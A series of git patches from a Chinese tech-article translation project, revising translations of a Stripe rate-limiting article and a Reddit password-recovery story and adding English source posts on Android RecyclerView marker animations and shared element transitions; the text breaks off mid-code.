-在 Stripe，我们发现谨慎地实现一些[速率限制](https://en.wikipedia.org/wiki/Rate_limiting)策略有助于保证 API 对所有用户的可利用性。在这篇文章中，我们会解释我们所发现的最有效的速率限制策略，怎样提高一部分 API 请求的优先级，以及怎么在没有影响到现有用户的工作流的情况下，开始安全地使用速率限制的。
+在 Stripe，我们发现一些精心实现的[速率限制](https://en.wikipedia.org/wiki/Rate_limiting)策略有助于保证 API 对所有用户的可利用性。在这篇文章中，我们会解释我们所发现的最有效的速率限制策略，怎样提高一部分 API 请求的优先级，以及怎么在没有影响到现有用户的工作流的情况下，开始安全地使用速率限制的。
 
 ## 速率限制与减载
 
-速率限制器可以控制在网络上发送或接收数据的比率。什么时候可以使用速率限制器呢？如果在用户向你的 API 端点发送请求的频率被改变的情况下，用户请求的结果不会受到影响。那么在这种情况下是适合使用速率限制器的。如果把请求之间的时间间隔来开不是一个选项（对于实时事件来说这很典型），那么你需要使用本文范围以外的其他策略（大多数时候你只是需要给基础设施中增加容量）。
+速率限制器可以控制在网络上发送或接收数据的比率。什么时候可以使用速率限制器呢？如果在用户向你的 API 端点发送请求的频率被改变的情况下，用户请求的结果不会受到影响。那么在这种情况下是适合使用速率限制器的。如果在单位时间间隔内限制请求频率是不可行的（通常对于实时事件而言），那么你需要使用本文范围以外的其他策略（大多数时候你只是需要给基础设施中增加容量）。
 
-我们的用户可以发送很多请求：例如，支付的批处理会给我们的 API 造成持续的流量。我们发现客户总是可以（除了某些极端少见的情况）将他们的请求分散，以保证不会受到我们速率限制的影响。
+我们的用户可以发送很多请求：例如，支付的批处理会给我们的 API 造成持续的流量。我们发现客户端总是可以（除了某些极端少见的情况）分散请求，以保证不会受到我们速率限制的影响。
 
 速率限制器对于日常的操作来说很有用，但是当意外发生时（例如，服务比延迟比平时大），我们有时需要放弃低优先级的请求，以保证更重要的请求被及时处理。这个过程叫做*减载*。这并不会经常发生，但对于保持 Stripe 的可利用性很重要。
 
@@ -40,7 +40,7 @@
 
 ### 请求速率限制（Request Rate Limiter）
 
-这种速率限制限定了每个用户每秒最多 *N* 个请求。在有效的管理高流量这个问题上，请求速率限制是大多数 API 可以使用的第一个工具。
+这种速率限制限定了每个用户每秒最多 *N* 个请求。在有效的管理高流量这个问题上，请求速率限制器是大多数API用于有效管理高流量的首选工具。
 
 我们对于请求的速率限制一直处于被触发的状态。仅仅这一个月，它就拒绝了多达百万的请求，其中主要是用户漫不经心地运行脚本发出的测试模式请求。
 
@@ -68,11 +68,11 @@
 
 使用这类减载保证了对于你最重要的 API 请求来说，你的机队（fleet）中一定的百分比一直是可利用的。
 
-我们把我们的流量分为两类：关键的 API 方法（比如：创建费用记录）和非关键的方法（比如：列出费用记录）。我们有一个 Redis 集群用来计算当前每种类型的请求分别有多少。
+我们将流量分为两类：关键的 API 方法（比如：创建费用记录）和非关键的方法（比如：列出费用记录）。我们有一个 Redis 集群用来计算当前每种类型的请求分别有多少。
 
 我们一直为关键请求预留出我们基础设施的一部分。如果预留比例是 20%，那么任何超出 80% 配额的非关键请求都会被以 503 状态码拒绝。
 
-这个月，只有很小比例的请求触发了我们的减载器。这些请求并不是很大量的——我们当时绝对有能力处理这些多余的请求。但是此前，这帮我们阻止了数次服务中断。
+这个月，只有很小比例的请求触发了我们的减载器。这些请求数量并不大——我们当时绝对有能力处理这些多余的请求。但是此前，这帮我们阻止了数次服务中断。
 
 ![](https://stripe.com/img/blog/posts/rate-limiters/2-concurrent-requests-limiter.svg)
 
@@ -113,7 +113,7 @@ Worker 使用率减载为关键请求预留出一部分 worker。
 这里有一些实现速率限制时需要考虑的重要事项：
 
 - **安全地连接你的中间件堆栈和速率限制器。** 确保如果速率限制代码有 bug（或者如果 Redis 挂了），请求处理不会受到影响。这意味着要捕捉（来自速率限制的）所有级别的异常，这样任何代码或操作失误都会失败后继续运行，并且 API 还可以正常工作。
-- **向用户明确显示异常。** 确定要现实给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，哪个是最准确的取决于不同的情况。你返回的信息也应该是可操作的。
+- **向用户明确显示异常。** 确定要显示给用户的异常类型。在实际操作中，你应该决定你想用[HTTP 429](https://tools.ietf.org/html/rfc6585#section-4) (Too Many Requests) 还是 [HTTP 503](https://tools.ietf.org/html/rfc7231#section-6.6.4) (Service Unavailable)，针对不同的情况来决定哪个是最准确的。你返回的信息也应该是可操作的。
 - **内置保障措施，使你能够关闭限制器。** 确保你的关闭按钮能够在速率限制器犯错的时候禁用它们。使用人工安全阀的同时，特性标记（feature flags）也是非常有帮助的。设置警报和指标以便了解它们被触发的频率。
 - **对速率限制使用灰度上线，以观察它们会阻挡哪些流量。** 评估阻止那些流量是否是正确的决定，并做出相应的调整。你希望找到一个合适的阈值，它可以既保证你的 API 一直是可利用的，同时不会影响你的用户既有的请求模式。这可能涉及与部分用户一起修改他们的代码，以保证新的速率限制对他们来说是可行的。
 

From 3988a3026eb8d32e263a1e5975c924e5cb607144 Mon Sep 17 00:00:00 2001
From: cdpath <cdpath@outlook.com>
Date: Thu, 4 May 2017 11:57:45 +0800
Subject: [PATCH 332/638] update translation

@sqrthree
---
 TODO/the-time-i-had-to-crack-my-own-reddit-password.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
index 99740a7e212..31831d29600 100644
--- a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
+++ b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
@@ -89,7 +89,7 @@
 
 试了几个字母，果然没错。内容也是有索引的。记住：邮件内容里面有我的密码。
 
-**本质上这是一个执行子字符串检索的界面。**通过在搜索栏输入字符串，搜索结果会告诉我密码中是否有我输入的子字符串。
+**本质上这是一个执行子字符串检索的界面**。通过在搜索栏输入字符串，搜索结果会告诉我密码中是否有我输入的子字符串。
 
 **万事俱备。**
 
@@ -552,7 +552,7 @@ Boom. 443 次迭代。
 
 **真的有效**
 
-不用给客服写尴尬的邮件了。重获 Reddit 休闲时光。事实证明：编程，的确是，魔法。
+不用给客服写尴尬的邮件了。重获 Reddit 休闲时光。事实证明：编程——的确是——魔法。
 
 （不过我又得找个新办法让自己暂时无法登录了。）
 

From f63a421bcf450b1dfcd633d5192f1b9baf196789 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 20:59:59 +0800
Subject: [PATCH 333/638] Create
 workcation-app-part-3-recyclerview-interaction-with-animated-markers.md

---
 ...rview-interaction-with-animated-markers.md | 225 ++++++++++++++++++
 1 file changed, 225 insertions(+)
 create mode 100644 TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md

diff --git a/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
new file mode 100644
index 00000000000..f7adba7d307
--- /dev/null
+++ b/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md
@@ -0,0 +1,225 @@
+> * 原文地址：[Workcation App – Part 3. RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+#  Workcation App – Part 3. RecyclerView interaction with Animated Markers #
+
+Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
+
+Part 1: [Fragment’s custom transition
+](https://www.thedroidsonroids.com/?p=5054)
+
+Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
+
+Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+ 
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+
+ 
+
+Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+
+Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+
+ 
+
+# Prelude #
+
+A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
+
+GIF 1 *“The animation”*
+
+# Let’s start! #
+
+As we can see, in the GIF above, there is a lot of going on.
+
+1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+
+Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover how to animate markers with RecyclerView interaction!
+
+# The Problem #
+
+RecyclerView has some native tools for managing its state. We can set ItemAnimator and ItemDecorator to add some nice animations and look for ViewHolders, LayoutManager for managing how views are measured and positioned. We also have listeners for receiving messages of specific condition of the RecyclerView.
+
+As we can see, there is a horizontal RecyclerView with list of CardViews with some details about some places around Bali. While we are scrolling, the corresponding marker is animated with simple scale up/down animation. So how was it implemented? Of course, with some problems 🙂！
+
+## OnScrollListener ##
+
+OnScrollListener is a class that allows us to *receive messages when a scrolling event has occurred on that RecyclerView (via [documentation](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))*. This class have *onScrolled* method – it is the key to interact between scroll position and animating markers! This callback method is invoked when scroll occurs. Let’s look at it:
+
+ 
+```
+Java
+    @Override
+
+    publicvoidonScrolled(finalRecyclerView recyclerView,finalintdx,finalintdy){
+
+        super.onScrolled(recyclerView,dx,dy);
+
+    }
+```
+ 
+As we can see, there is a RecyclerView passed as an argument, also dx and dy. “dx” is the amount of horizontal scroll, “dy” is the amount of vertical scroll. In our case we are interested in recyclerView argument.
+
+## First idea ##
+
+Okay, so we have OnScrollListener class with *onScrolled* method, there can’t be anything tricky right? We will check if view is in the center and then just notify the marker to animate itself. Easy? Of course it’s easy, but it doesn’t work 🙂 Look again on the animation. The first item and the last item will never reach the center of the RecyclerView!
+
+## Second idea ##
+
+What we need to do? The point where the markers are notified must move across the RecyclerView. So the start position of this point should be in the center of the first item, and the last position should be in the center of the last item. We’ll do some math to calculate points position where corresponding marker should be animated.
+
+Will it work?
+
+Of course not 🙂 *onScrolled* method doesn’t invoke for every pixel. If we scroll our RecyclerView fast, we will receive only few callbacks. So what should we do?
+
+## Third idea ##
+
+Easy. We can’t have the moving point, because it’s unlikely that it will cover with “offset” parameter. We have to move the “range” which will notify marker when it covers f.e. 70% of the RecyclerView’s child. So think about it as a moving rectangle from left to right. Let’s look at the implementation:
+
+```
+Java
+
+publicclassHorizontalRecyclerViewScrollListener extendsRecyclerView.OnScrollListener{
+
+    privatestaticfinalintOFFSET_RANGE=50;
+
+    privatestaticfinaldoubleCOVER_FACTOR=0.7;
+
+ 
+
+    privateint[]itemBounds=null;
+
+    privatefinalOnItemCoverListener listener;
+
+ 
+
+    publicHorizontalRecyclerViewScrollListener(finalOnItemCoverListener listener){
+
+        this.listener=listener;
+
+    }
+
+ 
+
+    @Override
+
+    publicvoidonScrolled(finalRecyclerView recyclerView,finalintdx,finalintdy){
+
+        super.onScrolled(recyclerView,dx,dy);
+
+        if(itemBounds==null)fillItemBounds(recyclerView.getAdapter().getItemCount(),recyclerView);
+
+        for(inti=0;i<itemBounds.length;i++){
+
+            if(isInChildItemsRange(recyclerView.computeHorizontalScrollOffset(),itemBounds[i],OFFSET_RANGE))listener.onItemCover(i);
+
+        }
+
+    }
+
+ 
+
+    privatevoidfillItemBounds(finalintitemsCount,finalRecyclerView recyclerView){
+
+        itemBounds=newint[itemsCount];
+
+        intchildWidth=(recyclerView.computeHorizontalScrollRange()-recyclerView.computeHorizontalScrollExtent())/itemsCount;
+
+        for(inti=0;i<itemsCount;i++){
+
+            itemBounds[i]=(int)(((childWidth*i+childWidth*(i+1))/2)*COVER_FACTOR);
+
+        }
+
+    }
+
+ 
+
+    privatebooleanisInChildItemsRange(finalintoffset,finalintitemBound,finalintrange){
+
+        intrangeMin=itemBound-range;
+
+        intrangeMax=itemBound+range;
+
+        return(Math.min(rangeMin,rangeMax)<=offset)&&(Math.max(rangeMin,rangeMax)>=offset);
+
+    }
+
+ 
+
+    publicinterfaceOnItemCoverListener{
+
+        voidonItemCover(finalintposition);
+
+    }
+
+}
+```
+ 
+First of all, we don’t want to make Fragment/Activity messy, so we want to extend RecyclerView.OnScrollListener class and override necessary method. Via the constructor we pass a listener, whose method *onItemCover* is invoked when the RecyclerView is in the child’s range. In the *onScrolled* method we call *fillItemBounds* method if we haven’t done it yet, and we iterate through all of the bounds to check if the recyclerView’s item is covered with corresponding bounds.
+
+The method *fillItemBounds* creates new integer’s table for every item in the RecyclerView. Next it calculates childWidth (RecyclerView’s item width). In the last part it fills the table with “item bounds” – actually, these are the “center” points which will be used to calculate if the RecyclerView is in child’s range.
+
+When *onScrolled* is invoked, we iterate through all of RecyclerView’s children and we check if the position *isInChildItemsRange.* This method is actually our “rectangle” which we move along the RecyclerView. This method takes the *itemBound* (the “center” point we calculated store in *itemBounds* table), the current offset and calculates if they overlap each other. If so, the *onItemCover* method on the OnItemCoverListener is called, where the corresponding position is passed. With this argument we can get the corresponding Marker and animate it.
+
+```
+    //Implementation of the HorizontalRecyclerViewScrollListener
+
+    ...
+
+    recyclerView.addOnScrollListener(newHorizontalRecyclerViewScrollListener(this));
+
+    }
+
+ 
+
+    //OnItemCoverListener method implementation
+
+    @Override
+
+    publicvoidonItemCover(finalintposition){
+
+        mapOverlayLayout.showMarker(position);// notify Marker here
+
+    }
+
+    
+    //PulseOverlayLayout - see the 2nd article from the series
+
+    publicvoidshowMarker(finalintposition){
+
+        ((PulseMarkerView)markersList.get(position)).pulse();
+
+    }
+
+  
+    //PulseMarkerView - see the 2nd article from the series
+
+    publicvoidpulse(){
+
+        startAnimation(scaleAnimation);
+
+    }
+```
+
+And there is the effect:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/markers_scaling.gif?x77083)
+
+# Conclusion #
+
+As we can see, we have some great tools from Android Framework, but in some cases we also have to think about some implementations to make everything work as we expect. That wasn’t so clear an obvious in the first place, but somehow we found the solution 😉
+
+Thanks for reading! The last part will be published on Tuesday 4.04. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 365a31253509053c909f8810f1ffedaa8479a733 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 21:16:15 +0800
Subject: [PATCH 334/638] Create
 workcation-app-part-4-shared-element-transition-recyclerview-scenes.md

---
 ...-element-transition-recyclerview-scenes.md | 746 ++++++++++++++++++
 1 file changed, 746 insertions(+)
 create mode 100644 TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md

diff --git a/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
new file mode 100644
index 00000000000..3c1a428215c
--- /dev/null
+++ b/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md
@@ -0,0 +1,746 @@
+> * 原文地址：[Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+#  Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes #
+
+**Discover how to show details layout with Shared Element Transition with Scene Framework!**
+
+Welcome to the fourth and last part of my post series about the R&D (Research & Development) project, which I made a while ago. I want to share with you my solutions for problems I encountered during the development of an animation idea, shown below. In this blogpost, I will cover how to show details layout with Shared Element Transition with Scene Framework!
+
+Part 1: [Fragment’s custom transition
+](https://www.thedroidsonroids.com/?p=5054)
+
+Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
+
+Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+
+**Part 4: Shared element transition with RecyclerView and Scenes**
+
+Link for the project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+
+Link for the animation on Dribbble:
+[https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+
+ 
+
+## PRELUDE ##
+
+A few months back, we had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I didn’t know what I was going to struggle with…
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
+
+GIF 1 *“The animation”*
+
+## LET’S START! ##
+
+As we can see, in the GIF above, there is a lot of going on.
+
+1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items are loaded with translation from the bottom, while markers are added to the map with a scale/fade animation.
+2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+3. After clicking on an item, we are transferred to the next screen, while the map is animated below to show the route and the start/finish marker. The RecyclerView’s item is transitioned to show some description, a bigger picture, trip details and button.
+4. While returning, the transition happens again back to the RecyclerView’s item, showing all of the markers again, as the route disappears.
+
+That’s pretty much it. This is also why I’ve decided to show you all of these things in a series of posts. As I have mentioned above, in this article, I will cover how to show a details layout with Shared Element Transition with Scene and Transition Framework!
+
+## THE PROBLEM ##
+
+Okay, so as we can see in the GIF above, after clicking on the item in RecyclerView, we are entering the details layout with some information about our trip destination. There is definitely a Shared Element Transition, where some of the views are changing their bounds, while TextView is also changing its size and details with red buttons are sliding in from the bottom. Thanks to the Transition Framework, we are able to create this amazing animation.
+
+My first guess was to create just like it appears in 90% of materials on the internet – via the Shared Element Transition between two Activities. However let’s look on the map. There is also an animation “underneath” the details layout – the route is being drawn and the map zooms to the fixed position. So, I guess we don’t want to create another activity with a transparent background and try to animate the map on the “background” activity.
+
+My second guess was to create the Shared Element Transition between two fragments – add the DetailsFragment on the top of the stack and create a transition between views in both layouts – RecyclerView’s item and DetailsFragment’s layout. A better solution, but still – for me, it looks like the same screen and the same fragment, only with another layout added on top. So, do we have a solution that fits my needs?
+
+Yes, we have! From API 19 (the Workcation App is 21 and above) we have an option – Scenes! When used with Transition Framework, they’re really powerful. We can manage our UI in a very sophisticated way. And the most important thing – it totally fits our needs! So, let’s look at the implementation!
+
+ 
+## SHARED ELEMENT TRANSITION WITH RECYCLER VIEW ##
+
+Let’s start from clicking on the RecyclerView’s item. Our DetailsFragment (the one with Map and RecyclerView) implements OnPlaceClickedListener. We pass the OnPlaceClickListener interface implementation in the constructor like this:
+
+```
+Java
+
+BaliPlacesAdapter(OnPlaceClickListener listener,Context context){
+
+    this.listener=listener;
+
+    this.context=context;
+
+}
+```
+
+Next, in the *onBindViewHolder* method, we trigger the *onPlaceClicked* method after clicking on the RecyclerView’s item. We do this simply by passing it to *onClickListener:*
+
+```
+@Override
+
+publicvoidonBindViewHolder(finalBaliViewHolder holder,finalintposition){
+
+    [...]
+
+    holder.root.setOnClickListener(view->listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position));
+
+}
+```
+
+As you can see above, we set the *onClickListener* on a root element – in our case, it is a CardView. We also pass it as the first argument in the *onPlaceClicked* method, while the second one is fixed TransitionName – we are simply adding a position to the transition name. We do this because we have to distinguish which child of RecyclerView needs to be transitioned. If every item has the same:
+
+```
+Java
+
+publicstaticStringgetRecyclerViewTransitionName(finalintposition){
+
+    returnDEFAULT_TRANSITION_NAME+position;
+
+}
+```
+
+For the last parameter, we pass the position of the clicked item. We are using the same collection of data to fill RecyclerView item and DetailsLayout, so we just want to get the specific item by the position. Below we can see the OnPlaceClickListener and BaliViewHolder
+
+```
+Java
+
+interfaceOnPlaceClickListener{
+
+    voidonPlaceClicked(View sharedView,StringtransitionName,finalintposition);
+
+}
+```
+
+```
+Java
+
+staticclassBaliViewHolder extendsRecyclerView.ViewHolder{
+
+ 
+
+    @BindView(R.id.title)TextView title;
+
+    @BindView(R.id.price)TextView price;
+
+    @BindView(R.id.opening_hours)TextView openingHours;
+
+    @BindView(R.id.root)CardView root;
+
+    @BindView(R.id.headerImage)ImageView placePhoto;
+
+ 
+
+    BaliViewHolder(finalView itemView){
+
+        super(itemView);
+
+        ButterKnife.bind(this,itemView);
+
+    }
+
+}
+```
+
+The OnPlaceClickListener is implemented in DetailsFragment – the one that has RecyclerView and Map. Let’s look at the *onPlaceClicked* method:
+
+```
+Java
+
+@Override
+
+publicvoidonPlaceClicked(finalView sharedView,finalStringtransitionName,finalintposition){
+
+    currentTransitionName=transitionName;
+
+    detailsScene=DetailsLayout.showScene(getActivity(),containerLayout,sharedView,transitionName,baliPlaces.get(position));
+
+    drawRoute(position);
+
+    hideAllMarkers();
+
+}
+```
+
+In the first place, we save *currentTransitionName* as a global variable – we will need it when we will hide scene with DetailsLayout. We also assign the Scene object to the *detailsScene* variable – it is needed to handle the *onBackPressed* method properly. In the next step, we are drawing a route between our position and the destination position; parallelly, we are hiding all markers.
+
+The part that we are mostly interested in is the one showing the scene. Let’s move to DetailsLayout.
+
+## USING SCENE FRAMEWORK TO CREATE SHARED ELEMENT TRANSITION ##
+
+Below we have our custom CoordinatorLayout. It looks ordinary in the first part, but we have two additional two static methods – *showScene* and *hideScene* . Let’s look at them more closely:
+
+```
+
+publicclassDetailsLayoutextendsCoordinatorLayout{
+
+ 
+
+    @BindView(R.id.cardview)CardView cardViewContainer;
+
+    @BindView(R.id.headerImage)ImageView imageViewPlaceDetails;
+
+    @BindView(R.id.title)TextView textViewTitle;
+
+    @BindView(R.id.description)TextView textViewDescription;
+
+ 
+
+    publicDetailsLayout(finalContext context){
+
+        this(context,null);
+
+    }
+
+ 
+
+    publicDetailsLayout(finalContext context,finalAttributeSet attrs){
+
+        super(context,attrs);
+
+    }
+
+ 
+
+    @Override
+
+    protectedvoidonFinishInflate(){
+
+        super.onFinishInflate();
+
+        ButterKnife.bind(this);
+
+    }
+
+ 
+
+    privatevoidsetData(Place place){
+
+        textViewTitle.setText(place.getName());
+
+        textViewDescription.setText(place.getDescription());
+
+    }
+
+ 
+
+    publicstaticScene showScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName,finalPlace data){
+
+        DetailsLayout detailsLayout=(DetailsLayout)activity.getLayoutInflater().inflate(R.layout.item_place,container,false);
+
+        detailsLayout.setData(data);
+
+ 
+
+        TransitionSet set=new ShowDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
+
+        Scene scene=new Scene(container,(View)detailsLayout);
+
+        TransitionManager.go(scene,set);
+
+        returnscene;
+
+    }
+
+ 
+
+    publicstaticScene hideScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName){
+
+        DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
+
+ 
+
+        TransitionSet set=new HideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
+
+        Scene scene=new Scene(container,(View)detailsLayout);
+
+        TransitionManager.go(scene,set);
+
+        returnscene;
+
+    }
+
+}
+```
+
+In the first place, we are inflating the DetailsLayout. Next, we are setting the data (just the title and description for DetailsLayout). Next, we are creating TransitionSet – for our purpose, I’ve created a separate class to keep the codebase clean. The third step is to create the scene object – we just pass our inflated *detailsLayout* and *containerView* (the main ViewGroup of DetailsFragment – in our case, it is the FrameLayout that matches the whole screen and has RecyclerView as a child). To create our amazing animation, we just need to call one method – *TransitionManager.go(scene, transitionSet)*. Et voila! This is our effect:
+
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
+
+A little bit of magic happens here. TransitionManager is a class which fires transitions when the scene change occurs. With a simple call like *TransitionManager.go(scene, transitionSet),* we are able to go to the specific scene, where some kind of transition happens. In our case, we are showing DetailsLayout with some data about a trip destination but, when using a TransitionManager, we are able to make this kind of transition which you can see above. Now, let’s see how the ShowDetailsTransitionSet is implemented.
+
+ 
+
+## CREATING CUSTOM TransitionSet WITH TransitionBuiler ##
+
+For keeping the code clean, I’ve created a TransitionBuilder – a simple class made using the Builder Pattern, which allows us to write less code to make a Transition, especially the Shared Element Transition. This is how it looks like:
+
+```
+Java
+
+publicclassTransitionBuilder{
+
+ 
+
+    privateTransition transition;
+
+ 
+
+    publicTransitionBuilder(finalTransition transition){
+
+        this.transition=transition;
+
+    }
+
+ 
+
+    publicTransitionBuilder duration(longduration){
+
+        transition.setDuration(duration);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder target(View view){
+
+        transition.addTarget(view);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder target(Classclazz){
+
+        transition.addTarget(clazz);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder target(Stringtarget){
+
+        transition.addTarget(target);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder target(inttargetId){
+
+        transition.addTarget(targetId);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder delay(longdelay){
+
+        transition.setStartDelay(delay);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder pathMotion(PathMotion motion){
+
+        transition.setPathMotion(motion);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder propagation(TransitionPropagation propagation){
+
+        transition.setPropagation(propagation);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder pair(Pair<View,String>pair){
+
+        pair.first.setTransitionName(pair.second);
+
+        transition.addTarget(pair.second);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder excludeTarget(finalView view,finalbooleanexclude){
+
+        transition.excludeTarget(view,exclude);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder excludeTarget(finalStringtargetName,finalbooleanexclude){
+
+        transition.excludeTarget(targetName,exclude);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransitionBuilder link(finalView from,finalView to,finalStringtransitionName){
+
+        from.setTransitionName(transitionName);
+
+        to.setTransitionName(transitionName);
+
+        transition.addTarget(transitionName);
+
+        returnthis;
+
+    }
+
+ 
+
+    publicTransition build(){
+
+        returntransition;
+
+    }
+
+}
+```
+
+Okay, now let’s go to the ShowDetailsTransitionSet, which creates this amazing transition. In the constructor, we pass the Context object, transitionName – this is the one that is created with the position in RecyclerView – the View object that we are transitioning from and the DetailsLayout that we are transitioning to. We also call the *addTransition* method, where we pass the Transition built with TransitionBuilder and returned from a specific method – *textResize(), slide()* and *shared()*.
+
+```
+Java
+
+classShowDetailsTransitionSetextendsTransitionSet{
+
+    privatestaticfinalStringTITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
+
+    privatestaticfinalStringCARD_VIEW_TRANSITION_NAME="cardView";
+
+    privatefinalStringtransitionName;
+
+    privatefinalView from;
+
+    privatefinalDetailsLayout to;
+
+    privatefinalContext context;
+
+ 
+
+    ShowDetailsTransitionSet(finalContext ctx,finalStringtransitionName,finalView from,finalDetailsLayout to){
+
+        context=ctx;
+
+        this.transitionName=transitionName;
+
+        this.from=from;
+
+        this.to=to;
+
+        addTransition(textResize());
+
+        addTransition(slide());
+
+        addTransition(shared());
+
+    }
+
+ 
+
+    privateStringtitleTransitionName(){
+
+        returntransitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;
+
+    }
+
+ 
+
+    privateStringcardViewTransitionName(){
+
+        returntransitionName+CARD_VIEW_TRANSITION_NAME;
+
+    }
+
+ 
+
+    privateTransition textResize(){
+
+        returnnewTransitionBuilder(newTextResizeTransition())
+
+                .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())
+
+                .build();
+
+    }
+
+ 
+
+    privateTransition slide(){
+
